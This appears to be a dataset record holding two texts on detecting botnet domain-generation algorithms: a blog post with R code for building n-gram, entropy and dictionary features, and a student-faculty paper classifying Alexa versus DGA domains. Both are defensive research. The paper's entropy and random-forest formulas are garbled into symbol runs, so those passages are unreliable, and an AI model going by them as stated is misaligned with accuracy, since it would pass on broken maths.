reserved.","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Building a DGA Classifier: Part 2, Feature\xc2 Engineering About\xc2 DDS DDS Dataset\xc2 Collection License/Use Book Reviews and\xc2 Interviews Resources Subscribe\xc2 (Newsletter) DDS: The Book and\xc2 Podcast Topic\xc2 Request Archives Follow DDS ddsecblog ddsecbook ddsecpodcast jayjacobs hrbrmstr Blog RSS hrbrmstr jayjacobs +dds Building a DGA Classifier: Part 2, Feature\xc2 Engineering By \xe2\x80\x9cJay Jacobs (@jayjacobs)"" Thu 02 October 2014 | tags: blog, r, rstats, -- (permalink) This is part two of a three-part blog series on building a DGA classifier and it is split into the three phases of building a classifier: 1) Data preperation 2) Feature engineering and 3) Model\xc2 selection. Back in part 1, we prepared the data and we are starting with a nice clean list of domains labeled as either legitamate (\xe2\x80\x9clegit\xe2\x80\x9d) or generated by an algorithm\xc2 (\xe2\x80\x9cdga\xe2\x80\x9d). library(dga) data(sampledga) In any machine learning approach, you will want to construct a set of \xe2\x80\x9cfeatures\xe2\x80\x9d that help describe each class or outcome you are attempting to predict. Now the challenge with selecting features is that different models have different assumptions and restrictions on the type of data fed into them. For example, a linear regression model is very picky about correlated features while a random forest model will handle those without much of a hiccup. But that\xe2\x80\x99s something we\xe2\x80\x99ll have to face in when we are selecting a model. For now, we will want to gather up all the features we can think of (and have time for) and then we can sort them out in the final\xc2 model. In our case, all we have to go off of is a domain name: a string of letters, numbers and maybe a dash. We have to think of what makes the domains generated by an algorithm that much different from a normal domain. For example, in the Click Security example they calculate the following features for each\xc2 domain: Length in\xc2 characters Entropy (range of\xc2 characters) n-grams (3,4,5) and the \xe2\x80\x9cdistance\xe2\x80\x9d from the n-grams of known legit\xc2 domains n-grams (3,4,5) and the \xe2\x80\x9cdistance\xe2\x80\x9d from the n-grams of dictionary\xc2 words difference between the two distance\xc2 calculations There is an almost endless list of other features you could come up with beyond\xc2 those: ratio of numbers to\xc2 (length/vowels|consonants/non-numbers) ratio of vowels to\xc2 (length/numbers/etc) proportion matching dictionary\xc2 words largest dictionary word\xc2 match all the combinations of n-grams (mentioned\xc2 above) Markov chain of probable combinations of\xc2 characters Simplicity is the name of the\xc2 game I know it may seem a bit counter-intuitive, but simplicity is the name of the game when doing feature selection. At first thought, you may think you should try every feature (and combinations of features) so you can build the very best model you can, but there are many reasons to not do that. First, no model or algorithm is going to be perfect and the more robust solutions will employ a variety of solutions (not just a single algorithm). So striving for perfection has diminishing\xc2 returns. Second, adding too many features may cause you to overfit to your training data. That means you culd build a model that appears to be very accurate in your tests, but stinks with any new data (or new domain generating algorithms in our case). Finally, every feature will take some level of time and effort to generate and process, and these add up quickly. The end result is that you should have just enough features to be helpful, and no more than that. The Click Security example, in my opinion, does an excellent job at this balance with just a handful of\xc2 features. Also, there isn\xe2\x80\x99t any exact science to selecting features, so get that notion that science is structured, clean and orderly right out of your head. Feature seelction will, at least at this state, rely heavily on domain expertise. As we get to the model selection, we will be weeding out variables that don\xe2\x80\x99t help, are too slow or contradict the model we are\xc2 testing. For now, think of what makes a domain name usable. For example, when people create a domain name the focus on readability so they may include one set of digits together \xe2\x80\x9chost55\xe2\x80\x9d and rarely would they do \xe2\x80\x9ch5os5t\xe2\x80\x9d, so perhaps looking at number usage could be good. Or you could assume that randomly selecting from 26 charcters and 10 numbers will create some very strange combinations of characters not typically found in a language. Therefor, in legitimate domains, you expect to see more combinations like \xe2\x80\x9cest\xe2\x80\x9d and less \xe2\x80\x9c0zq\xe2\x80\x9d. The task when doing feature selection is to find attributes that indicate the difference. Just as in real life, if you want to classify a car from a motorcycle a good feature may be number of tires on the road, you want to find attributes to measure that seperate legitimate domains from those generated by an\xc2 algorithm. N-Grams I hinted at n-grams in the previous paragraph and they may be a little difficult to grasp if you\xe2\x80\x99ve never thought about it. But they are built on the premise that there are frequent character patterns in natural language. Anyone who\xe2\x80\x99s watched \xe2\x80\x9cWheel of Fortune\xe2\x80\x9d knows that consonants like r, s, t, n and l appear a lot more often than m, w, and q and nobody guesses \xe2\x80\x9cq\xe2\x80\x9d as their first choice letter. One of the features you could include is a simple count of the characters like that (could be called a \xe2\x80\x9c1-gram\xe2\x80\x9d, \xe2\x80\x9cn-gram of 1\xe2\x80\x9d, \xe2\x80\x9cunigram\xe2\x80\x9d or simply \xe2\x80\x9ccharater frequency\xe2\x80\x9d since it\xe2\x80\x99s single charaters). Randomly generated domains would have a much different distribution of characters than those generated based on natural language. That difference should help an algorithm correctly classify between the\xc2 two. But you can get fancier than that and look at the frequency of the combination of characters, the \xe2\x80\x9cn\xe2\x80\x9d in \xe2\x80\x9cn-grams\xe2\x80\x9d represents a variable length. You could look for the combination of 3-characters, so let\xe2\x80\x99s take a look at how that looks with the stringdist package and the qgrams() function. library(stringdist) qgrams(""facebook"", q=3) ## fac ook ace ceb ebo boo ## V1 1 1 1 1 1 1 qgrams(""sandbandcandy"", q=3) ## san and ndb ndc ndy dba dca ban can ## V1 1 3 1 1 1 1 1 1 1 qgrams(""kykwdvibps"", q=3) ## kyk ykw wdv vib kwd dvi ibp bps ## V1 1 1 1 1 1 1 1 1 See how the function pulls out groups of 3 characters that appear contiguously? Also, look at the difference in the collection of trigrams from the first two, they don\xe2\x80\x99t look too weird, but the output from kykwdvibps probably doesn\xe2\x80\x99t match your expectation of character combinations you are used to in the english langauge. That is what we want to capitalize on. All we have to do is teach the algorithm everything about the english language, easy right? Actually, we just have to teach it what should be \xe2\x80\x9cexpected\xe2\x80\x9d as far as character combinations, and we can do that by figuring out what n-grams appear in legitimate domains and then calculate the\xc2 difference. # pull domains where class is ""legit"" legitgram3 <- qgrams(sampledga$domain[sampledga$class==""legit""], q=3) # what's at the top? legitgram3[1, head(order(-legitgram3), 10), drop=F] ## ing ter ine the lin ion est ent ers and ## V1 161 138 130 113 111 106 103 102 100 93 Notice how we have over 7,000 trigrams here with many of them appearing in a very small proportion, let\xe2\x80\x99s clean those up so the oddities/outliers don\xe2\x80\x99t throw the training. We have 5,000 legit domains, we should be cutting off the infrequent occurances, and we could experiment with what that cutoff should be. But let\xe2\x80\x99s create the n-grams of length 1, 2, 3, 4 and 5, but I will use the function in the dga package called ngram and I\xe2\x80\x99ll recreate the 3-gram above. I\xe2\x80\x99ll also include the ngram of lengths 3, 4 and\xc2 5. legitname <- sampledga$domain[sampledga$class==""legit""] onegood <- ngram(legitname, 1) twogood <- ngram(legitname, 2) threegood <- ngram(legitname, 3) fourgood <- ngram(legitname, 4) fivegood <- ngram(legitname, 5) good345 <- ngram(legitname, c(3,4,5)) Let\xe2\x80\x99s just do a quick smell test here and look at some values with the getngram function in the dga package and how they compare with various\xc2 n-grams. good <- c(""facebook"", ""google"", ""youtube"", ""yahoo"", ""baidu"", ""wikipedia"") getngram(threegood, good) ## facebook google youtube yahoo baidu wikipedia ## 7.264 7.550 6.674 2.593 0.699 7.568 bad <- c(""hwenbesxjwrwa"", ""oovftsaempntpx"", ""uipgqhfrojbnjo"", ""igpjponmegrxjtr"", ""eoitadcdyaeqh"", ""bqadfgvmxmypkr"") getngram(threegood, bad) ## hwenbesxjwrwa oovftsaempntpx uipgqhfrojbnjo igpjponmegrxjtr ## 2.6812 4.1216 2.9499 2.7482 ## eoitadcdyaeqh bqadfgvmxmypkr ## 3.7638 0.6021 Notice these aren\xe2\x80\x99t perfect and that\xe2\x80\x99s okay, the algorithms you will try out in Part 3 of the series won\xe2\x80\x99t use just one varaible. The strength of the classifier will come from the use all the variables together. So let\xe2\x80\x99s go ahead and construct all the features that we want to use here and prepare for step 3 where you will you will select a model by trying varius classifiers. In a real application, there is a relationship between feature generation and model selection. Algorithms will act differently on different features and after trying a few you may want to go back to feature selection and add or remove some\xc2 features. For the sake of simplicity, we will go with these 5 sets of n-grams and the multiple length set used in the the Click Security\xc2 model. Prepping the rest of the\xc2 features Now that you understand n-grams, you can go ahead and generate the rest of the features and save them off for later. Note that everytime you will want to classify a new domain, you will need to generate the list of features. So the reference n-grams generated above will have to be saved to generate the features that rely on\xc2 them. # dga package has ""entropy"" to calculate entropy sampledga$entropy=entropy(sampledga$domain) # get length (number of characters) in domain name sampledga$length=nchar(sampledga$domain) # calc distances for each domain sampledga$onegram <- getngram(onegood, sampledga$domain) sampledga$twogram <- getngram(twogood, sampledga$domain) sampledga$threegram <- getngram(threegood, sampledga$domain) sampledga$fourgram <- getngram(fourgood, sampledga$domain) sampledga$fivegram <- getngram(fivegood, sampledga$domain) sampledga$gram345 <- getngram(good345, sampledga$domain) Note that I am just tossing in every n-gram from 1 to 5 characters and the merging of 3, 4, and 5 n-grams. I doubt that all of these will be helpful and I fully expect that many of these will be dropped in the final model, which I will cover in part\xc2 3. Dictionary\xc2 matching There is one last feature I want to add and that will try to answer the question of \xe2\x80\x9cHow much of the string can be explained by a dictionary?\xe2\x80\x9d I\xe2\x80\x99m adding it because I\xe2\x80\x99ve already created several models and found myself getting frustrated seeing a domain like \xe2\x80\x9coxfordlawtrove\xe2\x80\x9d being classified as a \xe2\x80\x9cdga\xe2\x80\x9d, but any human can look at that and see three distinct words. Therfore, I created the function wmatch in the DGA package to return the percentage of characters that are in the dictionary. I also am using the dictionary that was included in Click Security\xe2\x80\x99s code and it seems to be a little loose about what is a valid word. At some point that dictionary could be rebuilt and cleaned up. But, for the sake of time, we can just go with it how it\xc2 is. wmatch(c(""facebook"", ""oxfordlawtrove"", ""uipgqhfrojbnjo"")) ## [1] 1.0000 1.0000 0.4286 # calculate it for every word in the sample sampledga$dict <- wmatch(sampledga$domain) # and let's look at a few randomly (3 legit, 3 dga) sampledga[c(sample(5000, 3), sample(5000, 3)+5000), c(6:14)] ## entropy length onegram twogram threegram fourgram fivegram gram345 ## 162 2.725 9 28.52 14.494 6.552 3.6444 1.69 11.887 ## 291 1.922 5 16.02 8.868 2.924 0.6021 0.00 3.526 ## 473 2.922 10 34.29 20.179 8.397 1.4771 0.00 9.875 ## 6519 3.027 13 43.00 19.517 3.085 0.0000 0.00 3.085 ## 39999 3.804 24 71.32 21.617 1.833 0.0000 0.00 1.833 ## 34989 3.852 28 83.38 22.578 0.699 0.0000 0.00 0.699 ## dict ## 162 0.8889 ## 291 1.0000 ## 473 1.0000 ## 6519 0.4615 ## 39999 0.3750 ## 34989 0.2143 And because what we want in the features is a seperation in our classes, we can use the fun package GGally to visualize the interaction between some of our varibles (this graphic takes a while to\xc2 generate). library(GGally) library(ggplot2) gg <- ggpairs(sampledga, columns = c(""entropy"", ""length"", ""onegram"", ""threegram"", ""dict"", ""class""), color=""class"", lower=list(continuous=""smooth"", params=c(alpha=0.5)), diag=list(continuous=""bar"", combo=""bar"", params=c(alpha=0.5)), upper = list(continuous = ""density"", combo = ""box"", params=c(alpha=0.5)), axisLabels='show') print(gg) It\xe2\x80\x99s pretty clear in the picture that the last dictionary matching feature I added creates quite a large seperator for the two datasets. Now let\xe2\x80\x99s save off the sample object for use in part 3 of the blog\xc2 series. save(sampledga, file=""data/sampledga.rda"", compress=""xz"") Tweet Please enable JavaScript to view the comments powered by Disqus. comments powered by Disqus","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"\xef\x80 D4-1 Abstract\xe2\x80\x94 Recent Botnets such as Kraken, Torpig and Nugache have used DNS based \xe2\x80\x9cdomain fluxing\xe2\x80\x9d for command-and- control, where each bot queries for existence of a series of domain names and the owner has to register such domain name. Botmasters have begun employing domain generation algorithms (DGA) to dynamically produce a large number of random domains and select a small subset for actual use so that static domain lists ineffective. This article is to detect machine generated domain names; we tested common methods in classification on text strings of domain names has low accuracy. We introduced new features based on N-Grams in the classification methods and our experimental results show that the analysis of N-Gram methods can make a great progress in the accuracy of detection. Index Terms\xe2\x80\x94 Classification Algorithms, Domain Name System, Network Security, Visualization I. INTRODUCTION any botnet detection systems use a blacklist of command-and-control (C&C) domains to detect bots and block their traffic. As a response, botmasters have begun employing domain generation algorithms (DGA) to dynamically produce a large number of random domains and select a small subset for actual use so that static domain lists ineffective. DGA is to be deterministic, yet generate a huge number of random domains so that bot maintainer only has to register one or few to enable the malware to work. There is a trend that more recent botnets have used DNS based \xe2\x80\x9cdomain fluxing\xe2\x80\x9d for command-and-control, where each bot queries for existence of a series of domain names, such as Conficker, Kraken and Torpig. This method is called DNS \xe2\x80\x9cdomain fluxing\xe2\x80\x9d, which means each bot algorithmically generates a large set of domain names and queries each of them until one of them is resolved and then the bot contacts the corresponding IP-address obtained that is typically used to host the command-and-control (C&C) server [1] [2]. Besides, for command-and-control, spammers also routinely generate random domain names in order to avoid detection [3]. This paper use the data from Alexa ranking list and DataDrivenSecurity dga dataset [20, 21]. Tianyu Wang is now a PhD candidate with the Department of Computer Science, Pace University, 861 Bedford Rd, Pleasantville, NY 10570 (e-mail: tianyu.wang@pace.edu). DGA stands for Domain Generating Algorithm and these algorithms are part of the evolution of malware communications. In the beginning, malware would be hardcoded with IP address or domain names and the botnet could be disrupted by going after whatever was hardcoded. The purpose of the DGA is to be deterministic, of which the bot maintainer only has to register one to enable the malware to phone home [4] [5]. If the domain or IP is taken down, the botnet maintainer with a new IP address can use a new name from the algorithm and the botnet maintained. Another major use case of detecting DGA is to protect non-authorized DNS servers, such as LDNS/ROOT-DNS. The purpose of building a DGA classifier is not to take down botnets, but to discover and detect the use on our network or services. Furthermore, if we are able to have a list of domains resolved and accessed at one\xe2\x80\x99s organization, it is possible to see which of those are potentially generated and used by malware. This paper is organized as flows. In section 2, we discuss the background of domain names system and related security issues. We provide literature review in section 3. The DGA detection is presented in Section 4. We conclude the paper with our further research plan in section 5. II. BACKGROUND A. The Domain Name System The Domain Name System (DNS) is a core component of Internet operation. It ensures the finding of any resource on the internet by just knowing the domain names of URL that is an easy way to remember. B. Domain Name Space The naming system on which DNS is based is a hierarchical and logical tree structure called the domain namespace. Organizations can also create private networks that are not visible on the Internet, using their own domain namespaces. As the following figure shows, the root of the domain name space is the \xe2\x80\x9c.\xe2\x80\x9d Node. The following figure shows a subtree of the domain name space and the path to the root. Every node is Li-Chiou, Chen is the professor with the Department of Information System, School of Computer Science and Information Systems, Pace University, 861 Bedford Rd, Pleasantville, NY 10570 (e-mail: lchen@pace.edu). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods Tianyu Wang and Li-Chiou Chen Seidenberg School of CSIS, Pace University, Pleasantville, New York {tianyu.wang, lchen}@pace.edu M Proceedings of Student-Faculty Research Day, CSIS, Pace University, May 5th, 2017 D4-2 called a level domain. Node at the base of the tree is called first level domains or Top Level Domains (TLD), for example, \xe2\x80\x9cedu\xe2\x80\x9d. Under the hierarchy, nodes are called second level domains (2LD), for example \xe2\x80\x9cemail\xe2\x80\x9d, third level domains (3LD), etc. Figure 1. Domain Name Space Hierarchy. C. DNS Related Security Issues DNS is often used to hide other kind of network traffic through the Internet. More specifically, there are many different DNS based misuse and malicious activities and related solving methods. 1) DNS Fluxing DNS fluxing is a series of activity that enhance the availability and resilience of malicious resources and contents by hiding the real location of a given resources within a network. The hidden resource is a server that delivers malware, phishing website or command and control server of a botnet (C&C). Fast flux is one of the most common used DNS fluxing technique. It is used by botnets to hide phishing and malware delivery sites behind an ever-changing network of compromised hosts acting as proxies. It can also refer to the combination of peer-to-peer networking, distributed command and control, web-based load balancing and proxy redirection used to make malware networks more resistant to discovery and counter-measures. The Storm Worm (2007) is one of the first malware variants to make use of this technique [19]. The basic idea behind Fast flux is to have numerous IP addresses associated with a single fully qualified domain name, where the IP addresses are swapped in and out with extremely high frequency, through changing DNS records. 2) Botnets A botnet is a number of Internet-connected devices used by a botnet owner to perform various tasks. These botnets are groups of malware machines or bots that could be remotely controlled by botmasters. Botnets can be used to perform Distributed Denial of Service (DDoS) attack, steal data, send spam, and allow the attacker access to the device and its connection. The owner can control the botnet using command and control (C&C) software. Botnets have become the main platform for cyber criminals to send spam, phishing and steal information, etc. Most of botnets rely on a centralized server (C&C). Bot could query a predefined C&C domain names that resolves IP address of server that malware commands will be received. Nowadays, in order to overcome the limitation that one single failure of C&C server is taken down, the botmaster would lose control over the botnet, C&C server have used P2P based structures in botnets, such as Storm, Zeus and Nugache [16, 17, 18]. To maintain a centralized P2P-based structure, attacker have developed a number of botnet that locate their server through algorithms generated random domain names. The related algorithm is called domain generation algorithms (DGA). 3) Domain Generation Algorithms (DGA) Domain Generation Algorithms (DGA) is a series of algorithm that automatically generated domains names by given a random seed and then generate a list of candidate C&C domains. The botnet attempts to resolve these domains by sending DNS queries until one of the domains resolves to the IP address of a C&C server. This method introduces a convenient way to keep attacking resilience because if one domain names are identified and taken down, the bot will eventually get the valid IP address and using DNS queries to the next DGA domains. For example, Kraken and Conficker are some example of DGA-based botnets. 4) DNS Monitoring DNS service is widely used as a core service of the whole Internet. Monitoring the DNS traffic performs an important role. Globally the technique to identify flux networks and botnets using DNS analysis have been proved efficient. However, these techniques require previous know about fluxing domain names, since it rely on classification algorithms that need training on truth data. Another issue is these techniques require large amount of DNS replies from different locations so that to compute relevant features to train classification algorithms is not easy. The time taken by these methods to identify flux networks is too long. Finally, DNS based techniques for bot infected host detestation are involved with privacy concerns. III. RELATED WORK Characteristics, such as IP addresses whose records and lexical features of phishing and non-phishing URLs have been analyzed by McGrath and Gupta [10]. They observed that the different URLs exhibited different alphabet distributions. Our work builds on this earlier work and develops techniques for identifying domains employing algorithmically generated names, potentially for \xe2\x80\x9cdomain fluxing\xe2\x80\x9d. Ma, et al [9], employ statistical learning techniques based on lexical features (length of domain names, host names, number of dots in the URL etc.) and other features of URLs to automatically determine if a URL is malicious, i.e., used for phishing or advertising spam. While they classify each URL independently, our work is focused on classifying a group of URLs as algorithmically generated or not, solely by making use of the set of alphanumeric characters used. In addition, we experimentally compare against their lexical features in Section V and show that our alphanumeric distribution based features can detect algorithmically generated domain names with lower false positives than lexical features. Overall, we consider our work as complimentary and synergistic to the approach in [8]. The authors [13] develop a machine learning technique to classify individual domain names based on their network features, domain-name string composition style and presence in known reference lists. Their technique, however, relies on successful resolution of DNS domain name query. Our technique instead, D4-3 can analyze groups of domain names, based only on alphanumeric character features. With reference to the practice of \xe2\x80\x9cIP fast fluxing\xe2\x80\x9d, e.g., where the botnet owner constantly keeps changing the IP-addresses mapped to a C&C server, [12] implements a detection mechanism based on passive DNS traffic analysis. In our work, we present a methodology to detect cases where botnet owners may use a combination of both domain fluxing with IP fluxing, by having bots query a series of domain names and at the same time map a few of those domain names to an evolving set of IP- addresses. In addition, earlier papers [11], [8] have analyzed the inner working of IP fast flux networks for hiding spam and fraud infrastructure. With regards to botnet detection, [6], [7] perform correlation of network activity in time and space at campus network edges, and Xie et al in [14] focus on detecting spamming botnets by developing regular expression based signatures for spam URLs. M. Antonakakis present a new technique to detect randomly generated domains that most of the DGA-generated domains would result in Non-Existent Domain responses, and that bots from the same bot-net would generate similar NXDomain traffic [15]. IV. DGA DETECTION A. Detection System Classification in machine learning would help in DGA domains detection. The purpose of building a DGA classifier is not to remove botnets, but to discover and detect the use on our network or services. Furthermore, if we can have a list of domains resolved and accessed at one\xe2\x80\x99s organization, it is possible to see whether there are potentially generated and used by malware. Domain names are a series of text string, consisting of alphabet, numbers and dash sign. Therefore, it is common to use several supervised approaches to identify domains. Thus, the first step in any classifier is getting enough labeled training data. All we need is a list of legitimate domains and a list of domains generated by an algorithm. B. Data Sets 1) Alexa Domains For legitimate domains, an obvious choice is the Alexa list of top web sites. The Alexa Top Sites web service provides access to lists of web sites ordered by Alexa Traffic Rank. Using the web service developers can understand traffic rankings from the largest to the smallest sites. Alexa\xe2\x80\x99s traffic estimates and ranks are based on the browsing behavior of people in our global data panel, which is a sample of all internet users. Alexa\xe2\x80\x99s Traffic Ranks are based on the traffic data provided by users in Alexa\xe2\x80\x99s global data panel over a rolling 3-month period. Traffic Ranks are updated daily. A site\xe2\x80\x99s ranking is based on a combined measure of Unique Visitors and Page views. The number of unique Alexa users who visit a site on a given day determines unique Visitors. Page views are the total number of Alexa user URL requests for a site. However, multiple requests for the same URL on the same day by the same user are counted as a single Page view. The site with the highest combination of unique visitors and page views is ranked #1 [20]. However, the raw data grab from 1 Million Alexa domains are not ready for use. After we grab the top 1 Million Alexa domains (1,000,000 entries), we find that over 10 thousand are not domains but full URLs, and there are thousands of domains with subdomains that will not help. Therefore, after removing the invalid URL and subdomain and duplicated domains, we could have the clean Alexa data with 875,216 entries. In this article, we only concentrate on the domains without top level. For example, www.google.com, we only use google as domain. Table 1. First 5 Entries of Alexa data domain 0 google 1 facebook 2 youtube 3 yahoo 4 baidu It is important to shuffle the data randomly for training/testing purpose and sample only 90% of total data. In addition, we put label for this Alexa dataset as \xe2\x80\x98legit\xe2\x80\x99. The number of Alexa domains: 787,694 out of the total Alexa domains 875,216. 2) DGA Domains On DataDrivenSecurity website, it provides file of domains and a high-level classification of \xe2\x80\x9cdga\xe2\x80\x9d or \xe2\x80\x9clegit\xe2\x80\x9d along with a subclass of either \xe2\x80\x9clegit\xe2\x80\x9d, \xe2\x80\x9ccryptolocker\xe2\x80\x9d, \xe2\x80\x9cgoz\xe2\x80\x9d or \xe2\x80\x9cnewgoz\xe2\x80\x9d [21]. These dga data are from recent botnets: \xe2\x80\x9cCryptolocker\xe2\x80\x9d, two separate \xe2\x80\x9cGame-Over Zeus\xe2\x80\x9d algorithms, and an anonymous collection of algorithmically generated domains. Here we also resample 90% of the total data. Specifically, there are 47,398 out of 52,665 entries of algorithmically generated domains in our experiment. Here we also use domain names that without top-level parts. Table 2. First 5 entries of dga domain domain class 0 1002n0q11m17h017r1shexghfqf dga 1 1002ra86698fjpgqke1cdvbk5 dga 2 1008bnt1iekzdt1fqjb76pijxhr dga 3 100f3a11ckgv438fpjz91idu2ag dga 4 100fjpj1yk5l751n4g9p01bgkmaf dga C. Basic Statistical Features Now we need to implement some features to measure domain names. The domain field here means second-level domain only. In the following article, we use domains for abbreviation. The class field is binary category, either dga or legit. DGA stands for dynamic generated algorithms domain, and legit stands for legitimate domains. 1) Length First, we calculate the length of each domain. In the meantime, we drop those lengths that are less and equal to six, because for short domains, it is better use blacklist to filter out dga domains. D4-4 2) Entropy Another feature is entropy of domain. In information theory, systems consist of a transmitter, channel, and receiver. The transmitter produces messages that are sent through the channel. The channel modifies the message in some way. The receiver attempts to infer which message was sent. In this context, entropy (more specifically, Shannon entropy) is the expected value (average) of the information contained in each message. This feature computes the entropy of character distribution and measure the randomness of each domain names. The entropy can explicitly be written as \xf0\x9d\x91\xaf\xf0\x9d\x91\xaf(\xf0\x9d\x91\xbf\xf0\x9d\x91\xbf) = \xef\xbf\xbd\xf0\x9d\x91\xb7\xf0\x9d\x91\xb7(\xf0\x9d\x92\x99\xf0\x9d\x92\x99\xf0\x9d\x92\x8a\xf0\x9d\x92\x8a)\xf0\x9d\x91\xb0\xf0\x9d\x91\xb0(\xf0\x9d\x92\x99\xf0\x9d\x92\x99\xf0\x9d\x92\x8a\xf0\x9d\x92\x8a) = \xe2\x88\x92\xef\xbf\xbd\xf0\x9d\x91\xb7\xf0\x9d\x91\xb7(\xf0\x9d\x92\x99\xf0\x9d\x92\x99\xf0\x9d\x92\x8a\xf0\x9d\x92\x8a)\xf0\x9d\x92\x8d\xf0\x9d\x92\x8d\xf0\x9d\x92\x8d\xf0\x9d\x92\x8d\xf0\x9d\x92\x8d\xf0\x9d\x92\x8d\xf0\x9d\x92\x83\xf0\x9d\x92\x83\xf0\x9d\x91\xb7\xf0\x9d\x91\xb7(\xf0\x9d\x92\x99\xf0\x9d\x92\x99\xf0\x9d\x92\x8a\xf0\x9d\x92\x8a) \xf0\x9d\x92\x8f\xf0\x9d\x92\x8f \xf0\x9d\x92\x8a\xf0\x9d\x92\x8a=\xf0\x9d\x9f\x8f\xf0\x9d\x9f\x8f \xf0\x9d\x92\x8f\xf0\x9d\x92\x8f \xf0\x9d\x92\x8a\xf0\x9d\x92\x8a=\xf0\x9d\x9f\x8f\xf0\x9d\x9f\x8f Table 3. Sampling first 5 entries with length and entropy domain class length entropy 0 uchoten-anime legit 13 3.392747 1 photoprostudio legit 14 2.950212 5 andhraboxoffice legit 15 3.506891 6 kodama-tec legit 10 3.121928 7 porntubster legit 11 3.095795 D. Data Visualization Before we begin our machine learning training, we plot scatter chart the check whether there is any correlation among the features. Figure 2. Scatter Plot: Domain Entropy vs Domain Length In this figure, we found that legit domain and DGA domain are overlapped together. When domain length is approximately equal to four, DGA has a trend that has a higher entropy than Legit. E. Classification with Two Features The next step is to run several classification methods use these two features (length, entropy). There are 787k legit and 47k DGA domains, so we use 80/20 split techniques for our training set and testing set. We choose to use three common supervised classification methods. Random Forest, Support Vector Machines (SVM) and Na\xc3\xafve Bayes. Hypothesis: \xe2\x80\xa2 Positive: domain is dga \xe2\x80\xa2 Negative: domain is non-dga, in other words, legitimate domain 1) Using Random Forest Classifier Random forests or random decision forests are an ensemble learning method for classification, regression and other tasks, that operate by constructing a multitude of decision trees at training time and outputting the class that is the mode of the classes (classification) or mean prediction (regression) of the individual trees. Random decision forests correct for decision trees' habit of overfitting to their training set a) Random Forest Algorithms A forest is the average of the predictions of its trees: \xf0\x9d\x90\xb9\xf0\x9d\x90\xb9(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5) = 1 \xf0\x9d\x90\xbd\xf0\x9d\x90\xbd \xef\xbf\xbd\xf0\x9d\x91\x93\xf0\x9d\x91\x93\xf0\x9d\x91\x96\xf0\x9d\x91\x96 (\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5) \xf0\x9d\x90\xbd\xf0\x9d\x90\xbd \xf0\x9d\x91\x97\xf0\x9d\x91\x97=1 \xf0\x9d\x91\xa4\xf0\x9d\x91\xa4\xe2\x84\x8e\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92 \xf0\x9d\x90\xbd\xf0\x9d\x90\xbd \xf0\x9d\x91\x96\xf0\x9d\x91\x96\xf0\x9d\x91\x96\xf0\x9d\x91\x96 \xf0\x9d\x91\xa1\xf0\x9d\x91\xa1\xe2\x84\x8e\xf0\x9d\x91\x92\xf0\x9d\x91\x92 \xf0\x9d\x91\x9b\xf0\x9d\x91\x9b\xf0\x9d\x91\xa2\xf0\x9d\x91\xa2\xf0\x9d\x91\xa2\xf0\x9d\x91\xa2\xf0\x9d\x91\xa2\xf0\x9d\x91\xa2\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92 \xf0\x9d\x91\x9c\xf0\x9d\x91\x9c\xf0\x9d\x91\x93\xf0\x9d\x91\x93 \xf0\x9d\x91\xa1\xf0\x9d\x91\xa1\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x96\xf0\x9d\x91\x96 \xf0\x9d\x91\x96\xf0\x9d\x91\x96\xf0\x9d\x91\x9b\xf0\x9d\x91\x9b \xf0\x9d\x91\xa1\xf0\x9d\x91\xa1\xe2\x84\x8e\xf0\x9d\x91\x92\xf0\x9d\x91\x92 \xf0\x9d\x91\x93\xf0\x9d\x91\x93\xf0\x9d\x91\x9c\xf0\x9d\x91\x9c\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x96\xf0\x9d\x91\x96\xf0\x9d\x91\xa1\xf0\x9d\x91\xa1 For a forest, the prediction is simply the average of the bias terms plus the average contribution of each feature: \xf0\x9d\x90\xb9\xf0\x9d\x90\xb9(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5) = 1 \xf0\x9d\x90\xbd\xf0\x9d\x90\xbd \xef\xbf\xbd\xf0\x9d\x91\x90\xf0\x9d\x91\x90\xf0\x9d\x91\x97\xf0\x9d\x91\x97 